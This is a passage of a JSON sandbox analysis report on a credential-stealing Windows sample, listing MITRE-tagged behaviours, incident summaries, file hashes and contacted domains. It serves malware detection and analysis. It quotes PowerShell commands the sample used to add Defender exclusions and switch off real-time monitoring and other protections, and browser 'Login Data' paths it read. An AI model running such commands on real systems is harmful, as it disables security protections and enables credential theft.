Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"System Security","name":"Tries to modify exclusion list using Powershell","description":"Process \"powershell.exe\" with commandline \"powershell -Command Add-MpPreference -ExclusionPath 'C:\\\\builder.exe'\" (UID: 00000000-00001492)","origin":"Monitored Target","mitre_attack_id":"T1685","relevance":5,"id":"target-320","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"System Security","name":"Uses powershell to disable controlled folder access","description":"Process \"powershell.exe\" with commandline \"powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend\" (UID: 00000000-00006808)","origin":"Monitored Target","mitre_attack_id":"T1685","relevance":3,"id":"target-246","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"\"builder.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"builder.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"builder.exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"builder.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00002136.00000000.165867.47BB8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00002136.00000000.165867.47BB8000.00000002.mdmp\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00002136.00000000.165867.47BB8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"Found string \"www.youtube.com/watch?v=9bZkp7q19f0\" (Indicator: \"youtube\"; File: \"Clipboard.txt\")","origin":"File/Memory","relevance":2,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002136.00000000.165867.47BB8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002136.00000000.165867.47BB8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00002136.00000001.165898.45990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; Source: \"00000000-00002136.00000000.165867.47BB8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00002136.00000000.165867.47BB8000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00002136.00000000.165867.47BB8000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00002136.00000000.165867.47BB8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]}],"incidents":[{"name":"Spyware","details_count":6,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Collects system information using POST request"},{"detail":"Tries to read/open stored key files"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"Fingerprint","details_count":7,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Attempts to identify external IP address"},{"detail":"Reads system information using WMIC"},{"detail":"Tries to obtain system information using systeminfo"},{"detail":"Collects WMI data known to be used for VM detection via WMIC"},{"detail":"Tries to gather information about running processes on a system"},{"detail":"Retrieves system network configuration using netsh utility"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"Evasive","details_count":9,"details":[{"detail":"Marks file for deletion"},{"detail":"May attempt to implement anti-virtualization techniques using MAC address detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Use of archive tools for protected file compression/decompression detected (often used to hide payload)"},{"detail":"PE file has a section name known to be used by a packer/protector"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to terminate a process"},{"detail":"Writes archive files"},{"detail":"Attempts to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]}],"intel_graph":{"map":{"Domain:b62811dc099c200b5276b9cf3ed84ab9eb772adc3fc1e5c62cf2e275cf8f0e01":{"type":"Domain","value":"gstatic.com","verdict":{"verdict":"unknown"}},"Domain:c8e8f9f979e435f9efb6dd72f274fdd609fc813c13b5070eec30da1a080ae5f1":{"type":"Domain","value":"discord.com","verdict":{"verdict":"unknown"}},"Domain:f7864750d075d8a7a1b852ca3083aab9e11af5f37ee15dfa26a2caacc5ebede7":{"type":"Domain","value":"ip-api.com","verdict":{"verdict":"unknown"}},"File:08c06b9d4cad3dccc2d9c93b3adac070812813770daf56b567de442925971981":{"type":"File","value":"08c06b9d4cad3dccc2d9c93b3adac070812813770daf56b567de442925971981","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (330), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:0a22c7f415a74ffb5d24773abc70f024fee16ded835cdfba689507b7f807ab2b":{"type":"File","value":"0a22c7f415a74ffb5d24773abc70f024fee16ded835cdfba689507b7f807ab2b","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"RAR archive data, v5","filetype_short":"RAR","mime_type":"application/x-rar"},"File:0e3a490d9f51d20728db82148697b38af9d61861eac9a8efcd78dccdf70bfafe":{"type":"File","value":"0e3a490d9f51d20728db82148697b38af9d61861eac9a8efcd78dccdf70bfafe","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:190bace3ba48f0e1b2b26e6c8c97c42c6c32efc9ed27a0ecc40e1e20a46488a4":{"type":"File","value":"190bace3ba48f0e1b2b26e6c8c97c42c6c32efc9ed27a0ecc40e1e20a46488a4","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:1a33357d974ee4d8d583d8675c423771f32ca954a19ba0bb69fc46bd2544f770":{"type":"File","value":"1a33357d974ee4d8d583d8675c423771f32ca954a19ba0bb69fc46bd2544f770","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:23debee045eff8096a65507a798a2df58d3999bb9146e0c1afe50590098c66a7":{"type":"File","value":"23debee045eff8096a65507a798a2df58d3999bb9146e0c1afe50590098c66a7","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/javascript"},"File:246de55ac03555405bf6685cf9a7da669e7820ff75843b7933cfaedf337c0950":{"type":"File","value":"246de55ac03555405bf6685cf9a7da669e7820ff75843b7933cfaedf337c0950","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:281c8a31b2a9c3110e767cdd22220e99f0d4ae97251a569fc5df66d881adc878":{"type":"File","value":"281c8a31b2a9c3110e767cdd22220e99f0d4ae97251a569fc5df66d881adc878"},"File:29abceafd8094a3fe45c77f36cad3e5394ae6aa35b4b46beaf1f2e1bcfb885b3":{"type":"File","value":"29abceafd8094a3fe45c77f36cad3e5394ae6aa35b4b46beaf1f2e1bcfb885b3","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:2a1d451b5c7003200e3314bd195b48d1093c7583a667a25b1b6473c6d50efa74":{"type":"File","value":"2a1d451b5c7003200e3314bd195b48d1093c7583a667a25b1b6473c6d50efa74"},"File:2a1da8f7f6836be053ee6b757cd27847cdd6a004998cd1c13d6a76df6a09e46e":{"type":"File","value":"2a1da8f7f6836be053ee6b757cd27847cdd6a004998cd1c13d6a76df6a09e46e","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (330), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:2b4b2d4a06044ad0bd2ae3287cfcbecd90b959feb2f503ac258d7c0a235d6fe9":{"type":"File","value":"2b4b2d4a06044ad0bd2ae3287cfcbecd90b959feb2f503ac258d7c0a235d6fe9","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:2d08a668532bcb703a130a12e07f30c1892633a6752e96c8eb0e9394dbf08da2":{"type":"File","value":"2d08a668532bcb703a130a12e07f30c1892633a6752e96c8eb0e9394dbf08da2","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:2ea4fe9500ee3669ac29a7451ee775b3bc7e2104fe9e840af563499e23867a46":{"type":"File","value":"2ea4fe9500ee3669ac29a7451ee775b3bc7e2104fe9e840af563499e23867a46"},"File:30041dca14510b1912c537e651e186ef2ca13035e51074d97d1e0151b13b81c1":{"type":"File","value":"30041dca14510b1912c537e651e186ef2ca13035e51074d97d1e0151b13b81c1","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:34745d678aa668c068ecd3cf960ad887e973bdc634dbb30007ae138193c28e23":{"type":"File","value":"34745d678aa668c068ecd3cf960ad887e973bdc634dbb30007ae138193c28e23","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:35f18dd2452642cefb6f883afc74d560e22aa71bdb6b26e63b076d7ea4246d38":{"type":"File","value":"35f18dd2452642cefb6f883afc74d560e22aa71bdb6b26e63b076d7ea4246d38"},"File:404cc3b2046806324efa4bdf9a6b73ed4765bd900dcd0d8b78725eb70c32fbae":{"type":"File","value":"404cc3b2046806324efa4bdf9a6b73ed4765bd900dcd0d8b78725eb70c32fbae","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:4225cc22d4fc01a17c96eafe4d3eb0bad958a14db1f98723a2e5cf3229692327":{"type":"File","value":"4225cc22d4fc01a17c96eafe4d3eb0bad958a14db1f98723a2e5cf3229692327","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"DER Encoded PKCS#7 Signed Data","filetype_short":"PKCS7","mime_type":"application/x-x509-ca-cert"},"File:42ae0f9629955ae622c2694fc57e8ebafb81dbf79c8b76746d1518b7ed092fce":{"type":"File","value":"42ae0f9629955ae622c2694fc57e8ebafb81dbf79c8b76746d1518b7ed092fce","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},"File:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a":{"type":"File","value":"44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"text/plain"},"File:44847e7f53f8d8797224ae3a5eb6817b1a6a76afb5111efc50d4717ddbff3d73":{"type":"File","value":"44847e7f53f8d8797224ae3a5eb6817b1a6a76afb5111efc50d4717ddbff3d73","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:4493386eee5712a51f8f11f3040be256f1ea73876d54fd7b95082163240e3586":{"type":"File","value":"4493386eee5712a51f8f11f3040be256f1ea73876d54fd7b95082163240e3586","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:45c7be6f6958db81d9c0dacf2b63a2c4345d178a367cd33bbbb8f72ac765e73f":{"type":"File","value":"45c7be6f6958db81d9c0dacf2b63a2c4345d178a367cd33bbbb8f72ac765e73f"},"File:45f987f784c7f494c469b5a3938c3a37970aa6bef4efab2d1ac145559ca97508":{"type":"File","value":"45f987f784c7f494c469b5a3938c3a37970aa6bef4efab2d1ac145559ca97508"},"File:484ff53aad6cf53236c0a31ffa6a39b6fe762ff59d0257b2db1fcd6ccb7ace92":{"type":"File","value":"484ff53aad6cf53236c0a31ffa6a39b6fe762ff59d0257b2db1fcd6ccb7ace92","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:48ae10b1a046627240f7de0f68f5ddb28af412c3a6861931be6c305ecacc8b78":{"type":"File","value":"48ae10b1a046627240f7de0f68f5ddb28af412c3a6861931be6c305ecacc8b78","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (330), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:48d1b37a6e8baa7c4dbc9b2d39f2ac662f185248c80eb85c3261822381753d56":{"type":"File","value":"48d1b37a6e8baa7c4dbc9b2d39f2ac662f185248c80eb85c3261822381753d56","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JavaScript source, ASCII text","filetype_short":"JAVASCRIPT","mime_type":"application/javascript"},"File:49363cba6a25b49a29c6add58258e9feb1c9531460f2716d463ab364d15120e1":{"type":"File","value":"49363cba6a25b49a29c6add58258e9feb1c9531460f2716d463ab364d15120e1"},"File:4bf4f5d7daba7d70ef4b6d010c3d6d7ba30a7193753f32922ed549b0af21a6d2":{"type":"File","value":"4bf4f5d7daba7d70ef4b6d010c3d6d7ba30a7193753f32922ed549b0af21a6d2","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:4bfe6958b208bd6a50b61eee4c982e9cf1d00a11031bee4a1c4cc16788b97d65":{"type":"File","value":"4bfe6958b208bd6a50b61eee4c982e9cf1d00a11031bee4a1c4cc16788b97d65","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:4dc7cc57c80c4ed10be49f0fb1e65dc7f8aaef5ea783e161d7f98ec0d0ba2145":{"type":"File","value":"4dc7cc57c80c4ed10be49f0fb1e65dc7f8aaef5ea783e161d7f98ec0d0ba2145","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:573e4818d292430702085910c4f74658b9fb5e9dcd77ed33beb44b2f9e17f529":{"type":"File","value":"573e4818d292430702085910c4f74658b9fb5e9dcd77ed33beb44b2f9e17f529","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"TTComp archive data, binary, 1K dictionary","mime_type":"application/octet-stream"},"File:58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211":{"type":"File","value":"58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211"},"File:5a6b49358772db0b5c682575f02e8630083568542b984d6d00727740506569d4":{"type":"File","value":"5a6b49358772db0b5c682575f02e8630083568542b984d6d00727740506569d4","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:5aaf72de63b5ac3628fd90569a07439f76e44f3a85dd6a2da967554f2f7ca4e7":{"type":"File","value":"5aaf72de63b5ac3628fd90569a07439f76e44f3a85dd6a2da967554f2f7ca4e7","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:5cfa3e2d465614a5f7bdbfe8bbbae012d075bbe83d9561da3f93f4c19f9b94b3":{"type":"File","value":"5cfa3e2d465614a5f7bdbfe8bbbae012d075bbe83d9561da3f93f4c19f9b94b3"},"File:5d5c80b2e8a1cf081aa41c35c48f73df384cf526f358e91f80ba2ad48b6e52f7":{"type":"File","value":"5d5c80b2e8a1cf081aa41c35c48f73df384cf526f358e91f80ba2ad48b6e52f7"},"File:5d8ff395da0e15decaa930e965098b54ccf41235fe187efeba305a92e753aa44":{"type":"File","value":"5d8ff395da0e15decaa930e965098b54ccf41235fe187efeba305a92e753aa44","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},"File:63c54af5b10b75ceb60c160f759ce3657b0657826c4d63109d06bd531c257ee1":{"type":"File","value":"63c54af5b10b75ceb60c160f759ce3657b0657826c4d63109d06bd531c257ee1","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:6740e684021c1fb78b08c8d89842cd91896789bf7b71a30f4efe6c602ece20e5":{"type":"File","value":"6740e684021c1fb78b08c8d89842cd91896789bf7b71a30f4efe6c602ece20e5","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:6889a1b7caff6f1651a71c015c8df4da42aaa7a310141f97797e1d9e9d593b7d":{"type":"File","value":"6889a1b7caff6f1651a71c015c8df4da42aaa7a310141f97797e1d9e9d593b7d","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:69f98f9af7972a3c3f0b05d8af1c9031b76e33ea96e8f6f5f5a268f39ba9c623":{"type":"File","value":"69f98f9af7972a3c3f0b05d8af1c9031b76e33ea96e8f6f5f5a268f39ba9c623","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:6a3539add807790ffc4ebc41a1e7ee1f1992cc3e5aafdaa17a234f4106adddec":{"type":"File","value":"6a3539add807790ffc4ebc41a1e7ee1f1992cc3e5aafdaa17a234f4106adddec","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (320), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/html"},"File:6b620ab6a5f8e94a6a83477278a22bb9177cc758ebcc63789c75cedbf6b097b6":{"type":"File","value":"6b620ab6a5f8e94a6a83477278a22bb9177cc758ebcc63789c75cedbf6b097b6","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32 executable (console) Intel 80386, for MS Windows, 4 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:70504d8581b6caff8a9a9a652cb5d4be172b3ba917188e112886257bd35c4454":{"type":"File","value":"70504d8581b6caff8a9a9a652cb5d4be172b3ba917188e112886257bd35c4454","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:72bf4214e2cc18d6ee009bef8c28164e50da819d8cbc1efe2e49a2c63fc5d135":{"type":"File","value":"72bf4214e2cc18d6ee009bef8c28164e50da819d8cbc1efe2e49a2c63fc5d135","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644":{"type":"File","value":"76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644"},"File:770f1f46637f5e9ff091f631f999d1453764eaccffccea3ccb8590c79fee964c":{"type":"File","value":"770f1f46637f5e9ff091f631f999d1453764eaccffccea3ccb8590c79fee964c"},"File:7b2f3e233581b70da11455d426e75e6c301d4dd6e5dd05f6952f1b5990879cb2":{"type":"File","value":"7b2f3e233581b70da11455d426e75e6c301d4dd6e5dd05f6952f1b5990879cb2","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32 executable (console) Intel 80386, for MS Windows, 3 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:7c67840bc88127300581eeae254138ade601629cdb1312f74832800a6a6ed339":{"type":"File","value":"7c67840bc88127300581eeae254138ade601629cdb1312f74832800a6a6ed339","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:7d9c83a0c9e6309b04cfb5df18785803f30d562fabf683ceb404e0d09b3bd143":{"type":"File","value":"7d9c83a0c9e6309b04cfb5df18785803f30d562fabf683ceb404e0d09b3bd143","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:800b5e9a08c3a0f95a2c6f4a3355df8bbbc416e716f95bd6d42b6f0d6fb92f41":{"type":"File","value":"800b5e9a08c3a0f95a2c6f4a3355df8bbbc416e716f95bd6d42b6f0d6fb92f41"},"File:80422bc3d307b4a25bdafcc84ac7fb01cb55a09810e8b0f37bb12e0edb5c48ca":{"type":"File","value":"80422bc3d307b4a25bdafcc84ac7fb01cb55a09810e8b0f37bb12e0edb5c48ca","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from peinfo)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:8078a5ff6c405c38ae3e9a3e808db5fadc42ccbd206dd020eb2e07722518361e":{"type":"File","value":"8078a5ff6c405c38ae3e9a3e808db5fadc42ccbd206dd020eb2e07722518361e","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:8110e9b87f814748759f02c25ed363d82fc15459962cd4c24927731e7f35bf7e":{"type":"File","value":"8110e9b87f814748759f02c25ed363d82fc15459962cd4c24927731e7f35bf7e"},"File:81cbd7f2da814baf958dce860d698d7526c5421e5682e928f17789640ee8f454":{"type":"File","value":"81cbd7f2da814baf958dce860d698d7526c5421e5682e928f17789640ee8f454","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text 